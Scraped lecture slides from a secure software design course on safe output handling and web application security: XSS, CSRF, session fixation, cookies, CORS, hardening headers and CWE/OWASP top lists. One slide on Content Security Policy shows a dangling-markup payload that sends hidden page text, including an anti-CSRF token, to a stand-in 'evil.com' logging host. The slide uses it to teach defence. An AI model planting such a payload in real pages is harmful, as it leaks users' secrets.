SWE 681 ISA 681 Secure Software Design Programming

  • Slides: 88
Download presentation
SWE 681 / ISA 681 Secure Software Design & Programming: Lecture 6: Output, web

SWE 681 / ISA 681 Secure Software Design & Programming: Lecture 6: Output, web applications, top weakness lists/taxonomies, & coding standards/guides Dr. David A. Wheeler 2020 -08 -09

Outline • Sending output back • Web applications – Including related vulnerabilities • Common

Outline • Sending output back • Web applications – Including related vulnerabilities • Common vulnerability lists/taxonomies • Guides 2

Abstract view of a program Input Program Process Data (Structured Program Internals) Output You

Abstract view of a program Input Program Process Data (Structured Program Internals) Output You are here (for the first part of this lecture) Call-out to other programs (also consider input & output issues) 3

Minimize security-related feedback to untrusted users • “Login failed” – don’t say why –

Minimize security-related feedback to untrusted users • “Login failed” – don’t say why – Log that instead – Haven’t logged in… especially untrusted!!! – The point is to prevent attackers from figuring out valid usernames; if usernames are already public, don’t worry about hiding whether or not usernames are valid • Don’t echo passwords on-screen – Inhibits shoulder surfing 4

Don’t send comments to users • Don’t send comments inside material to users unless

Don’t send comments to users • Don’t send comments inside material to users unless you’re sure it’s okay to view – Sometimes provide system insight, aiding attacker – System design shouldn’t depend on secrecy, but why send info only of use to attacker that slows it down? • Primarily an issue with web applications – Comments in HTML/XML/CSS snippets may be used to generate code – Okay to comment code; be careful sending it – Put comments in separate place or strip out 5

Handle full/unresponsive output • User system may clog/be unresponsive – E. G. , web

Handle full/unresponsive output • User system may clog/be unresponsive – E. G. , web browser halted, slow TCP/IP response – Don’t let your system hang due to unresponsive user! • Release locks quickly, preferably before replying • Use time-outs on network-oriented writes – Measure from start of your attempt – ok to halt in the middle • Don’t create an easy opportunity for a Denial-of. Service attack 6

HTML target=… & window. open() can enable reverse tabnabbing • HTML <a href=… target=…>

HTML target=… & window. open() can enable reverse tabnabbing • HTML <a href=… target=…> can create on click a window in new target – E. G. , target="_blank" creates target in new tab (in HTML _self is default) • HTML non-_self target creates a potential vulnerability: – Page being linked to runs in the same process as calling page!! – On click, receiving page gains partial control over the linking page via window. opener value, even if they have different origins Dangerous & many don’t know it • E. g. , can navigate calling page via window. opener. location = new. URL (users rarely notice) – Other attacks exist. At least: attacker can use window. open (named window) – Recipient (after click) controls parts of calling page (reverse tabnabbing) – Page’s performance may also suffer (due to shared process) • Beware using Java. Script window. open(…); default target is risky “_blank” • Possible solutions (> fixing HTML/Java. Script specs/implementations!): 1. 2. 3. 4. Avoid using target=… (_blank or anything else that opens a new navigation context), especially for links to user-generated content & external domains If _target set, at least use rel="noopener" (partial, still have window. open) If _target set, possibly use rel="noopener noreferrer" (for older browsers) Avoid “var new. Wnd = window. open()”; else do “new. Wnd. opener = null; ” Source: “Target="_blank" - the most underestimated vulnerability ever” by Alexander "Alex" Yumashev, 2016 -05 -04, https: //www. jitbit. com/alexblog/256 -targetblank---themost-underestimated-vulnerability-ever/; CWE-1022; and Lighthouse, “Opens External Anchors Using rel="noopener“, 2017, 7 https: //developers. google. com/web/tools/lighthouse/audits/noopener Note: noopener supported by Chrome 49+, Firefox 52+, Opera 36+, Safari since late 2016

Control the character encoding of output • Don’t let browser/user guess the character encoding

Control the character encoding of output • Don’t let browser/user guess the character encoding – tell them (and make sure it’s right) – If browser has to guess, attacker may fool system into sending material that leads to wrong guess • Can include in HTML <head> – <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859 -1"> • HTTP “charset” (HTTP/1. 1 is practically universally implemented, so okay to use now) 8

Metacharacters: Same issue • Escape any characters you send back that might be interpreted

Metacharacters: Same issue • Escape any characters you send back that might be interpreted as metacharacters • Common problems in HTML/XML: < > & " ' • Challenge: Must ensure browser interprets them the same way – Encoding! – Again, use an allowlist (not a denylist) 9

java. net. URLEncoder. encode (String s, String enc) • Translates a string into application/x-www-formurlencoded

java. net. URLEncoder. encode (String s, String enc) • Translates a string into application/x-www-formurlencoded format using a specific encoding scheme (e. g. , UTF-8) • Rules (per Java spec): – Remain same: A-Z, a-z, 0 -9, ". ", "-", "*", and "_" – Space converted to “+” – All other characters are unsafe: • Converted into encoding scheme (UTF-8 recommended) • Each byte is represented by "%xy", where xy is 2 -digit hex representation • E. G. , encode("The string ü@foo-bar" , "UTF-8") produces "The+string+%C 3%BC%40 foo-bar“ – In UTF-8, ü is encoded as two bytes C 3 (hex) and BC (hex), while @ is encoded as one byte 40 (hex) 10

Escaping text in Web application frameworks • Some web application frameworks encode strings for

Escaping text in Web application frameworks • Some web application frameworks encode strings for HTML by default when outputting – Safer defaults are generally a good thing (less likely to make a mistake) • Know when escaping does & doesn’t happen – Otherwise you may escape more than once – Otherwise you might accidentally disable or circumvent escaping – Goal: Escape what you need to escape ONCE 11

Ruby on Rails • “Safe. Buffer” is String subclass for HTML text that’s safe

Ruby on Rails • “Safe. Buffer” is String subclass for HTML text that’s safe to output – Normal String considered unsafe; user data in String by default – String. html_safe() returns Safe. Buffer version of data without escaping it (beware – do not use on untrusted user data!) – If Safe. Buffer concatenates (unsafe) String (e. g. , “<<“ or “+”), String is HTML escaped & then concatenated to produce combined Safe. Buffer – If Safe. Buffer concatenates Safe. Buffer, no additional escaping – Tag helpers concatenate application-provided tags (in Safe. Buffers) with user-provided data (auto-escaped if unsafe, per previous rule) • HTML typically generated by ERB template – Rails renders text into a Safe. Buffer; constant template data (part of application) considered safe & thus is in a Safe. Buffer – <%= ruby code to output %> is concatenated, thus results have HTML escaping applied to it if its results are unsafe (e. g. , normal string) – <%= raw … %> and <%== … %> are html_safe, not escaped (optimized) This applies to Ruby on Rails version 3 or later. Source: Koch, Henning. Everything you know about html_safe is wrong. http: //makandracards. com/makandra/2579 -everything-you-know-about-html_safe-is-wrong 12

Ruby on Rails Example ERB Template <p> <%= ' ' %> <%= ' '.

Ruby on Rails Example ERB Template <p> <%= ' ' %> <%= ' '. html_safe %> </p> Internally Ruby on Rails does… html html = ''. html_safe << '<p>'. html_safe << '</p>'. html_safe Producing this HTML <p> < br /> </p> Source: Koch, Henning. Everything you know about html_safe is wrong. http: //makandracards. com/makandra/2579 -everything-you-know-about-html_safe-is-wrong 13

Focus on Web applications: HTTP, HTTPS, HTML • HTTP: Protocol for requesting/sending information •

Focus on Web applications: HTTP, HTTPS, HTML • HTTP: Protocol for requesting/sending information • HTTPS: HTTP over SSL/TLS (encrypted) • HTML: Common data format 14

HTTP • HTTP - Hyper. Text Transfer Protocol – Simple request/response protocol – Web

HTTP • HTTP - Hyper. Text Transfer Protocol – Simple request/response protocol – Web client sends requests, web server responds – Runs on top of TCP/IP protocols • Basic protocol: – Client (e. g. , user’s web browser) sends HTTP request to HTTP server port (typically port 80) – HTTP server receives request & performs some action per request & privileges – HTTP server sends back request file (if ok) and status/error message 15

Standard HTTP request methods (per spec) • • OPTIONS: Get info on comm options

Standard HTTP request methods (per spec) • • OPTIONS: Get info on comm options GET: Retrieve information HEAD: Like GET, but just get meta-information POST: Post (form) data PUT: Store (replacement) data DELETE: Delete the resource TRACE: Show client what recipient recieves CONNECT: Reserved for future use Typically have message headers, field-name: [value] 16

HTTP Safe Methods (per HTTP specification) • GET and HEAD methods SHOULD NOT have

HTTP Safe Methods (per HTTP specification) • GET and HEAD methods SHOULD NOT have the significance of taking any action other than retrieval – Don’t buy/sell anything, change status, etc. • User agents can represent other methods (e. g. , POST, PUT and DELETE) differently, denote “possibly unsafe” – E. g. , GET = Click on link, POST = “Submit” button – Important hint to user – helps prevent fooling user • Protocol can’t enforce, but if GET or HEAD used, “user did not request the side-effects, so therefore cannot be held accountable for them” 17

HTTP/1. 1 vs. HTTP/2 • HTTP/1. 1 is a simple text-based protocol – every

HTTP/1. 1 vs. HTTP/2 • HTTP/1. 1 is a simple text-based protocol – every line ends with CRLF (officially) – blank line ends the request • HTTP/2 is newer optimized version of HTTP – binary, not textual (faster to process & more compact) – fully multiplexed, instead of ordered and blocking • can therefore use one connection for parallelism – uses header compression to reduce overhead – designed so HTTP/1 & HTTP/2 can be translated back & forth with no loss of information • Both in wide use – HTTP/1. 1 easier to illustrate 18

Trivial HTTP/1. 1 GET request (from client to server) GET /index. html HTTP/1. 1

Trivial HTTP/1. 1 GET request (from client to server) GET /index. html HTTP/1. 1 host: www. dwheeler. com accept-Language: en Connection: keep-alive referer: https: //www. dwheeler. com/misc. html Blank line to end the request You can send this manually using: telnet www. dwheeler. com 80 19

HTTP/1. 1 Responses • First line is “Status line” – Protocol version, 3 -digit

HTTP/1. 1 Responses • First line is “Status line” – Protocol version, 3 -digit numeric status code, & associated textual phrase – 2 xx: Success - The action was successfully received, understood, and accepted. 200=OK – 4 xx: Client Error - The request contains bad syntax or cannot be fulfilled. 404=not found, 401=unauthorized • Followed by rest of response 20

Trivial HTTP/1. 1 GET reply HTTP/1. 1 200 OK Date: Mon, 01 Oct 2012

Trivial HTTP/1. 1 GET reply HTTP/1. 1 200 OK Date: Mon, 01 Oct 2012 21: 47 GMT Server: Last-Modified: Sun, 02 Sep 2012 18: 49: 14 GMT ETag: "67622 cb-9 d 4 f-7 b 3 f 5 e 80" Accept-Ranges: bytes Content-Length: 40271 Content-Type: text/html Blank line precedes reply data <!DOCTYPE HTML PUBLIC "-//W 3 C//DTD HTML 4. 01 Transitional//EN"> <html lang="en-US"> <head> … 21

HTTP/1. 1 Response Splitting • HTTP/1. 1 replies (like the previous one) can include

HTTP/1. 1 Response Splitting • HTTP/1. 1 replies (like the previous one) can include many fields • Be very careful about data sent back in fields – Especially newline & return! Attacker can create new fields/responses if can insert these – Any control characters & “: ” concerning – Allowlist, not denylist – limit to alphanum if can – Best to limit input also (if you can) 22

Trivial HTTP/1. 1 POST Request POST /myform. html HTTP/1. 1 host: www. example. com

Trivial HTTP/1. 1 POST Request POST /myform. html HTTP/1. 1 host: www. example. com cookie: my. Id=dwheeler referer: http: //www. example. com/index. html content-Type: application/-x-www-formurlencoded content-Length: 325 connection: keep-alive Blank line to end the header, encoded data follows 23

GET: Parameters sent as part of query string • “GET” can send information, via

GET: Parameters sent as part of query string • “GET” can send information, via query string parameters – Often sent to other sites by HTTP referer header – Often stored in browser history – Often written to log files • POST sends parameters separately (body) • Use POST when: – – Doing some action that shouldn’t be auto-repeated Information is sensitive When authentication required In these cases forbid GET, don’t allow as alternative 24

HTTP Cookies: Basics • Server may reply with fields to set cookies: Set-Cookie: name=value

HTTP Cookies: Basics • Server may reply with fields to set cookies: Set-Cookie: name=value Set-Cookie: name 2=value 2; Expires=Wed, 09 -Jun-2021 10: 18: 14 GMT • From then on, browser includes cookie values as part of requests to that domain: Cookie: name=value; name 2=value 2 • If no expiration time set, cookie expires when browser exits • If expiration time set, browser is supposed to store cookie persistently (user may erase) 25

Cookie attributes • Beyond name/value pair, cookie attributes: – cookie domain: Server domain when

Cookie attributes • Beyond name/value pair, cookie attributes: – cookie domain: Server domain when cookie will be sent (default: this domain, limits on alternates) – path: Path when cookie will be sent (default: this path) – expiration time or maximum age (seconds) – secure flag: Only transmit on encrypted channel – Http. Only flag: Only HTTP/HTTPS (not javascript) • Browsers will not send cookie attributes back to the server (just name/value pair) 26

Session Management • HTTP is stateless – By itself, a server doesn’t know of

Session Management • HTTP is stateless – By itself, a server doesn’t know of any relationship between “this” request (or user) & previous requests – Perfect for “please send me this static file” – Inadequate for interactive applications, shopping carts, etc. • For many applications, need to identify & manage sessions – Typically by passing a “session identifier” – User logs in, gets session id, all logged-in requests have that id – Typically exchanged in a cookie (secure, Http. Only) • Good session identifiers are not guessable • Session management, properly implemented, can prevent session hijacking and cross-site request forgery (CSRF) attacks 27

Session Management: Reuse Code • Best to use existing application container/ library for HTTP

Session Management: Reuse Code • Best to use existing application container/ library for HTTP session management – Set up session ids, etc. • But check that it’s secure (may need to configure): – Session identifier should have at least 128 bits of random data (else too easily guessed) – Must use cryptographically secure pseudo-random number generator (PRNG) to generate identifier – not “add one” or roll-your-own – Encrypt session ids over untrusted channels • If you don’t, many can see session id, enables session forging 28

Always create new session when user authenticates • Even if user has an existing

Always create new session when user authenticates • Even if user has an existing session, always create a new session when user authenticates – Ignore old session • Failing to do so permits “session fixation” attack – Attacker creates a new session, tricks user into using that session to authenticate against – Server sees user has a session ID & reuses it – Attacker may now be able to use session ID (that they created) to gain control with victim’s privileges 29

Session fixation attack 1. Mallory logs in & gets session_id = 111 4. Mallory

Session fixation attack 1. Mallory logs in & gets session_id = 111 4. Mallory re-accesses with session_id, which now has Alice’s permissions Mallory (Malicious user) 4. Server sees session_id & just reuses it, & reassociates that session_id to Alice Web Server 2. “Click here to see dancing pigs” http: //. . . ? session_ id=111 3. Alice clicks, browser goes to site & auto-provides session_id=111, username, and password Alice’s Web browser • In session fixation attack, attacker exploits server that fails to reassign session ids on login 30

Sessions: Limit Time (Idle time & session time) • Set maximum session idle time

Sessions: Limit Time (Idle time & session time) • Set maximum session idle time and maximum session time to reduce risk & damage – If user doesn’t log out, only short exposure time – Fewer valid session ids for attacker to guess – Even if attacker gets session id, limits time it’s valid • E. g. , an application container that implements Java Servlet: configure web. xml to set session idle timeout: <session-config> <!—timeout, in minutes --> <session-timeout>60</session-timeout> </session-config> 31

Session time: Limit maximum time • May have to implement session timeouts yourself •

Session time: Limit maximum time • May have to implement session timeouts yourself • Java servlets: Chess book describes how to use do. Filter() to do this – Store current time for session first time request is made for that session – If session still in use after maximum lifetime, invalidate session • Be sure to provide a “logout” function for users – So users can make the time even shorter! 32

Sessions: Ensure that logging off disables cookie • Users expect that after “log off”

Sessions: Ensure that logging off disables cookie • Users expect that after “log off” they must “log in” to reconnect – To ensure this, log off must disable server-side session cookies to prevent its reuse – Otherwise, the cookie could continue session – Session cookies can be captured, e. g. , by malware, XSS (to be discussed), or by stealing your phone • Many systems don’t disable cookies on log off – Failures include: Office 365, Yahoo mail, Wordpress – Correctly disable: Gmail, Tweetdeck, Facebook – As of 2013 -07 -13 More info: http: //samsclass. info/123/proj 10/cookie-reuse. htm 33

Cross-Site Scripting (XSS) / Cross-Site Malicious Content • Clients (e. g. , web browsers)

Cross-Site Scripting (XSS) / Cross-Site Malicious Content • Clients (e. g. , web browsers) typically presume that server intended to send data it sent – Some secure programs (e. g. , web apps) accept data & pass that data on to a user’s application (the victim) – If the secure program doesn't protect the victim, the victim's application (e. g. , their web browser) may then process that data in a way harmful to the victim – Server isn’t subverted directly… but used as a passthrough to victim • Not called “CSS” (= Cascading Style Sheets) 34

XSS – Persistent Store Example 1. Mallory sends malicious data (e. g. , HTML

XSS – Persistent Store Example 1. Mallory sends malicious data (e. g. , HTML comment with malicious script in it) Mallory (Malicious user) Web Server 2. Data stored & later retrieved Database 3. Alice requests info (e. g. , view comments), & receives malicious code (that may be auto-run) Alice’s Web browser • In persistent-store XSS, attacker sends data to server that is stored by server for later use • When victim requests, server includes malicious data 35

XSS –Reflection Example Web Server Mallory (Malicious user) 1. Mallory sends malicious data to

XSS –Reflection Example Web Server Mallory (Malicious user) 1. Mallory sends malicious data to Alice (e. g. , in a hypertext link/form) 3. Alice receives malicious data 2. Alice “reflected back” to sends on her… and trusts it to server Alice’s Web browser • In reflected XSS, attacker sends data to victim so victim will send it on to server – Often a special hypertext link or web form pointed to trusted server • Server then reflects data back; victim browser sees data “from” the server & trusts it 36

XSS- DOM-based • Client is tricked into sending itself attack • See: • https:

XSS- DOM-based • Client is tricked into sending itself attack • See: • https: //www. owasp. org/index. php/Types_of_ Cross-Site_Scripting 37

Countering XSS • Output escaping – – – Untrusted user data should be escaped

Countering XSS • Output escaping – – – Untrusted user data should be escaped before sending to user This is normally the best countermeasure: completely counters & is flexible Problem: Have to do it everywhere (easy to miss one) Many frameworks have automatic mechanisms to do this (use them!) Avoid copying data back to user – then you can’t do it wrongly (if URL bad, don’t send it back – legitimate user can see it already) • Input filtering for metacharacters – – Metacharacters include <, &, >, ", ' Forbid/remove/quote on input Often can’t do this, so often ineffective Use libraries for HTML input (e. g. , to allow <i>…</i> without allowing embedded Javascript) • Set Http. Only on cookies sent – Web browser scripts can’t access these cookie values – Imperfect defense, but can make some attacks harder 38

Newer XSS countermeasure: Content Security Policy (CSP) • Content Security Policy (CSP) is W

Newer XSS countermeasure: Content Security Policy (CSP) • Content Security Policy (CSP) is W 3 C Recommendation • Defines “Content-Security-Policy” HTTP header – If used, creates allowlist of sources of trusted content for this webpage – Compliant browsers only execute/render items (Javascript) from those sources • Chrome 16+, Safari 6+, and Firefox 4+. IE 10 has very limited support – Twitter and Facebook have deployed this • Typically must modify website design to fully use it – E. g. , move Javascript into separate files, otherwise receiving browser can’t distinguish allowlisted & malicious Javascript • Only works when users use compliant browsers • Expect CSP to grow additional capabilities • More info: – http: //www. html 5 rocks. com/en/tutorials/security/content-security-policy/ – http: //www. w 3. org/TR/CSP/ – https: //blog. twitter. com/2011/improving-browser-security-csp 39

Content Security Policy (CSP) helps, but is no panacea • CSP is a useful

Content Security Policy (CSP) helps, but is no panacea • CSP is a useful defensive measure, but can sometimes be worked around – so do not depend on it as your sole countermeasure • E. G. , evil URL: <img src='http: //evil. com/log. cgi? Injected line, non-terminated param. . . <input type="hidden" name="xsrf_token" value="12345"> Secret. . . ' Normally-occurring apostrophe • When user views, evil. com receives a lot of the following text (including text that was supposed to be hidden) • Use output escaping or other primary measures, then use defensive measures (like CSP) to counter mistakes Source: “Postcards from the post-XSS world” by Michal Zalewski, http: //lcamtuf. coredump. cx/postxss/ 40

Cross-Site Request Forgery (CSRF/XSRF) • Cross-site request forgery (CSRF/XSRF) essentially opposite of XSS –

Cross-Site Request Forgery (CSRF/XSRF) • Cross-site request forgery (CSRF/XSRF) essentially opposite of XSS – XSS exploits user’s trust in a server – CSRF/XSRF exploits server’s trust in a client • In CSRF/XSRF: – Attacker tricks user into sending data to server – Server believes that user consciously & intentionally chose that action • XSS fools clients; XSRF fools servers 41

Cross-Site Request Forgery (CSRF/XSRF) Example Web Server Mallory (Malicious user) 1. Mallory sends malicious

Cross-Site Request Forgery (CSRF/XSRF) Example Web Server Mallory (Malicious user) 1. Mallory sends malicious data to Alice (e. g. , in a hypertext link/form) 2. Alice sends on to server; server acts on command “sent” by Alice’s Web browser • In CSRF/XSRF, like reflected XSS, attacker sends data to victim so victim will send it on to server – Attacker’s approach is in many ways like reflected XSS • Attacker’s purpose is for server to act on the command – Target is server not client – difference from XSS 42

Countering CSRF/XSRF • Require re-authentication (login) in critical operation • Require secret user-specific CSRF

Countering CSRF/XSRF • Require re-authentication (login) in critical operation • Require secret user-specific CSRF token in all forms/side-effect URLS – Attacker doesn’t know its value, so can’t insert matching token – Common solution today, most web frameworks build this in • Use “Same. Site” cookie attribute (Lax or Strict) – most browsers support – Asserts cookie must only be sent with requests initiated from same domain – Good long-term backwards-compatible solution – use it! – Great news: Chrome & Firefox cookies will be Same. Site=Lax by default! • Check HTTP Referer or Origin header – Must treat “No Referer” as unauthorized (attacker can suppress Referer) – Some client vulnerabilities may subvert this; avoid as sole approach • Use CSRF countermeasures in login - prevent login forgery • Helpful partial countermeasures (make harder to attack): – Logoff after X minutes inactivity – Don’t allow GET (link) to have side-effects - only POST (button) More about Same. Site cookie attribute: https: //www. sjoerdlangkemper. nl/2016/04/14/preventing-csrf-with-samesite-cookie-attribute/ And https: //caniuse. com/#feat=same-site-cookie-attribute 43

CSRF/XSRF: A success story • At one time CSRF/XSRF was one of the most

CSRF/XSRF: A success story • At one time CSRF/XSRF was one of the most common serious vulnerabilities • Drastically reduced likelihood today, because countermeasures now enabled by default – Frameworks typically embed countermeasure – Cookie “Same. Site” provided simple countermeasure – Chrome & Firefox switching to Same. Site=Lax by default, preventing the problem entirely for them • Illustrates the value of defaults – Where possible, built countermeasures into your tools/standards/system so the problem won’t occur 44

Web applications – hardening headers to make attacks harder • Content Security Policy (CSP)

Web applications – hardening headers to make attacks harder • Content Security Policy (CSP) – already noted • HTTP Strict Transport Security (HSTS) – “Only use HTTPS from now on for this site” • X-Content-Type-Options (as "nosniff") – Don’t guess MIME type (& confusion it can bring) • X-Frame-Options – Clickjacking protection, limits how frames may be used • X-XSS-Protection – Force enabling filter to detect likely (reflected) XSS by monitoring requests / responses – On by default in most browsers • Quick scan tool: https: //securityheaders. io/ See: https: //www. owasp. org/index. php/List_of_useful_HTTP_headers 45

Redirection • Web applications frequently redirect and forward users to other pages and websites

Redirection • Web applications frequently redirect and forward users to other pages and websites • Don’t use unvalidated untrusted data to determine destination pages • Solutions (per OWASP): 1. 2. 3. 4. Simply avoid using redirects and forwards. If used, don’t involve user parameters in calculating the destination. This can usually be done. If destination parameters can’t be avoided, ensure that the supplied value is valid, and authorized for the user. It is recommended that any such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL Applications can use OWASP ESAPI to override the send. Redirect() method to make sure all redirect destinations are safe 46

Disable caching correctly for sensitive data • Web browsers normally cache web pages to

Disable caching correctly for sensitive data • Web browsers normally cache web pages to storage – Greatly reduces future latency – Do not cache sensitive data – enables many attacks • Disable sensitive data caching using HTTP 1. 1 (1999) – Cache-Control: no-store • Common mistake = Using non-standard approach – Non-standard cache disabling mechanisms only disable caches on some browsers, & few test it – “Industry-wide Misunderstandings of HTTPS” (June 2013) found that 70% of tested financial, healthcare, insurance and utility account sites did it wrong (“Only IE 6 exists”) • In general, try to use standard mechanisms for security 47

Same-origin policy • Security model of Java. Script running in a web browser •

Same-origin policy • Security model of Java. Script running in a web browser • Pages may only access data in a different web page if their origin is same (URI scheme + host name + port#) • Primary exceptions of same-origin policy: – Some old operations (generally predating Java. Script), e. g. , img src, submitting POST forms, and including scripts – Corner cases for pseudo-protocol schemes (e. g. file: //) – Windows (or frames) with scripts that set document. domain to the same value [can interact] – Message-passing text via post. Message() [can interact] – Web. Sockets (request sets origin, server checks if origin ok) – Cross-Origin Resource Sharing (CORS)… let’s talk about that 48

Cross-origin resource sharing (CORS) • Relaxes single-origin policy of web browsers (be careful!) •

Cross-origin resource sharing (CORS) • Relaxes single-origin policy of web browsers (be careful!) • When Java. Script makes cross-origin request, “Origin: ” sent • Server examines origin & replies in HTTP header if allowed: – Access-Control-Allow-Origin: permitted origin or “*” (or null) – Access-Control-Allow-Methods: permitted methods (e. g. , GET) – Access-Control-Allow-Credentials: if true, share credentials (!) • Web browser checks if origin specifically allowed (default “no”) – Thus, both server & web browser must agree access permitted • Sometimes GET & POST are directly requested (see W 3 C spec) – In many cases web browser first makes “preflight” request to server using OPTIONS to determine permission before making actual request • Beware of Access-Control-Allow-Credentials – If “true” then credentials directly shared – only use if you totally trust other site & it’s absolutely necessary For more information, see “Exploiting CORS Misconfigurations for Bitcoins and Bounties” by Jim Kettle, Oct. 14, 2016, http: //blog. portswigger. net/2016/10/exploiting-cors-misconfigurations-for. html 49

Web applications are client/server • Web browser is a client, web server is a

Web applications are client/server • Web browser is a client, web server is a server • Need to not trust each other • In particular, server must not blindly trust what client says – Java. Script on client is not a problem per se, but… – Server must NOT trust validation by untrusted client (including Java. Script running on client) – If you don’t want the attacker to subvert something, then it must not be under control of the attacker • In most cases, data must be stored on the server, and any request to change it must be checked first on server to ensure it’s allowed • Be especially careful if you’re running Java. Script on client or providing direct access to database – ensure input validations is non-bypassable, more generally, ensure that attacker can’t control application – Yes, we’ve said this before 50

Top weakness lists, taxonomies, and style guides 51

Top weakness lists, taxonomies, and style guides 51

Overview of some common top weakness lists & taxonomies • Different organizations have developed

Overview of some common top weakness lists & taxonomies • Different organizations have developed “top” weaknesses (types of flaws that can lead to a vulnerability) – Goal: Identify some specific “things to look for first” – Vulnerability lists may merge problems that can’t happen (or are less important) in a particular environment – or be specific to a different environment (web vs. embedded) – Best “top” list is the one for your project & organization – You do not need to memorize items in list or CWE numbers! – You do need to know, for a given name, what it is (if we’ve covered it) • Taxonomies try to give broader overviews/organization of weaknesses – Some organized by attack (how to attack it) – Some organized by flaws (defect which may result in security violation) • We’ll review a few “top” weakness lists & taxonomies – Help reinforce what we’ve already learned – Want you to know of some common ones (name recognition) – Haven’t covered some yet (crypto) – we will! 52

Common Vulnerabilities and Exposures (CVE) • CVE = “dictionary of publicly known information security

Common Vulnerabilities and Exposures (CVE) • CVE = “dictionary of publicly known information security vulnerabilities and exposures” • Vulnerability = a specific mistake in some specific software directly usable by an attacker to gain access to system/network (not just any mistake) • Exposure = a specific system configuration issue or mistake in software that allows access to information or capabilities that can be used as a stepping-stone • CVE-2013 -1380 = Specific Adobe Flash Player vulnerability • Common naming system – know if discussing same thing – Many organizations report vulnerabilities – CVE IDs let you cross-reference their reports • More info: http: //cve. mitre. org & http: //nvd. nist. gov/ 53

Common Vulnerability Scoring System (CVSS) version 2. 0 • Standard scoring system for a

Common Vulnerability Scoring System (CVSS) version 2. 0 • Standard scoring system for a vulnerability (0. . 10, 10=riskiest) • Goal: Simplify prioritizing them for remediation • Base metric group - intrinsic characteristics – – – Access Vector (AV): Local, adjacent network, network Access Complexity (AC): High, medium, low Authentication (Au): Multiple, single, none Confidentiality Impact (C): None, partial, complete Integrity Impact (I): None, partial, complete Availability Impact (A): None, partial, complete • Temporal (optional) - characteristics that change over time – Exploitability (E); Remediation Level (RL); Report Confidence (RC) • Environmental (optional) - characteristics relevant to particular environment – Collateral Damage Potential (CDP); Target Distribution (TD); Security Requirements (CR, IR, AR) “A Complete Guide to the Common Vulnerability Scoring System Version 2. 0” http: //www. first. org/cvss-guide. html “CVSS version 2 calculator” http: //nvd. nist. gov/cvss. cfm? calculator&version=2 54

Common Weakness Enumeration (CWE) • Common Weakness Enumeration (CWE) = list of software weaknesses

Common Weakness Enumeration (CWE) • Common Weakness Enumeration (CWE) = list of software weaknesses • Weakness = Type of vulnerabilities • CWE-120 = Buffer Copy without Checking Size of Input (“Classic Buffer Overflow”) • Again, common naming system – Useful as “common name” – Does have some structuring/organization (slices, graphs, parents/children)… but that’s not its strength • More info: http: //cwe. mitre. org 55

OWASP Top 10 (2017) for web applications Security Risk Covered in class session on:

OWASP Top 10 (2017) for web applications Security Risk Covered in class session on: A 1: Injection Calling out (SQL injection, shell injection) A 2: Broken Authentication and Session Management Authentication A 3: Sensitive Data Exposure Design (least privilege), Cryptography A 4: XML External Entities (XXE) Calling out A 5: Broken Access Control Design (least privilege), Web application A 6: Security Misconfiguration Design A 7: Cross-Site Scripting (XSS) Design, Web application A 8: Insecure Deserialization Calling out A 9: Using Components with Known Vulnerabilities Obsolete code (8), Calling out, Design A 10: Insufficient Logging & Monitoring Calliing out, Design Cross-Site Request Forgery (CSRF) contentiously dropped from 2013 version. Rationale: many frameworks offer secure-by-default protections, web browsers now support Same. Site cookie attribute. 56 Source: “OWASP Top 10 2007 -2017: The Fall of CSRF” by Jack Mannino, 2017 -11 -30, https: //nvisium. com/resources/blog/2017/11/30/owasp-top-10 -2007 -2017 -the-fall-of-csrf. html

CWE Top 25 list • In 2011 CWE/SANS released a “top 25” list •

CWE Top 25 list • In 2011 CWE/SANS released a “top 25” list • CWE Top 25 list updated in 2019 – Based on the National Vulnerability Database (NVD) vulnerabilities of 2017 -2018, including a scoring mechanism prefer common & high-impact – This version is based on real world data (not a survey) • Limitations – Only uses NVD data with adequate info – Vulnerabilities that are easier to find become “common” – CWE data hierarchy problems • Still, very useful – Esp. since it includes non-web & based on real-world data 57

CWE Top 25 Most Dangerous Software Errors (2019) Rank ID [3] Name Score Improper

CWE Top 25 Most Dangerous Software Errors (2019) Rank ID [3] Name Score Improper Restriction of Operations within the Bounds of a CWE-119 75. 56 Memory Buffer Improper Neutralization of Input During Web Page Generation CWE-79 45. 69 ('Cross-site Scripting') CWE-20 Improper Input Validation 43. 61 [4] CWE-200 Information Exposure 32. 12 [5] 26. 53 [7] CWE-125 Out-of-bounds Read Improper Neutralization of Special Elements used in an SQL CWE-89 Command ('SQL Injection') CWE-416 Use After Free [8] CWE-190 Integer Overflow or Wraparound 17. 35 [1] [2] [6] [9] CWE-352 Cross-Site Request Forgery (CSRF) Improper Limitation of a Pathname to a Restricted Directory [10] CWE-22 ('Path Traversal') 24. 54 17. 94 15. 54 14. 10 58

CWE Top 25 Most Dangerous Software Errors (2019) Rank ID [11] Name Improper Neutralization

CWE Top 25 Most Dangerous Software Errors (2019) Rank ID [11] Name Improper Neutralization of Special Elements used in an OS CWE-78 Command ('OS Command Injection') Score 11. 47 [12] CWE-787 Out-of-bounds Write 11. 08 [13] CWE-287 Improper Authentication 10. 78 [14] CWE-476 NULL Pointer Dereference 9. 74 [15] CWE-732 Incorrect Permission Assignment for Critical Resource 6. 33 [16] CWE-434 Unrestricted Upload of File with Dangerous Type 5. 50 [17] CWE-611 Improper Restriction of XML External Entity Reference 5. 48 [18] 5. 36 CWE-94 Improper Control of Generation of Code ('Code Injection') [19] CWE-798 Use of Hard-coded Credentials 5. 12 [20] CWE-400 Uncontrolled Resource Consumption 5. 04 59

CWE Top 25 Most Dangerous Software Errors (2019) Rank ID Name Score [21] CWE-772

CWE Top 25 Most Dangerous Software Errors (2019) Rank ID Name Score [21] CWE-772 Missing Release of Resource after Effective Lifetime 5. 04 [22] CWE-426 Untrusted Search Path 4. 40 [23] CWE-502 Deserialization of Untrusted Data 4. 30 [24] CWE-269 Improper Privilege Management 4. 23 [25] CWE-295 Improper Certificate Validation 4. 06 Oddity due to CWE structure: the #1 weakness (CWE-119, Improper Restriction of Operations within the Bounds of a Memory Buffer) is itself the parent of #5 (CWE 125, out-of-bounds read) and #12 (CWE-787, out-of-bounds write). CSRF is still relatively common (in their dataset), #9; expect that to decrease. Source: “ 2019 CWE Top 25 Most Dangerous Software Errors” https: //cwe. mitre. org/top 25/archive/2019_cwe_top 25. html 60

Name NIST National Vulnerability Database (NVD): CWE subset CWE-ID Description Authentication Issues CWE-287 Failure

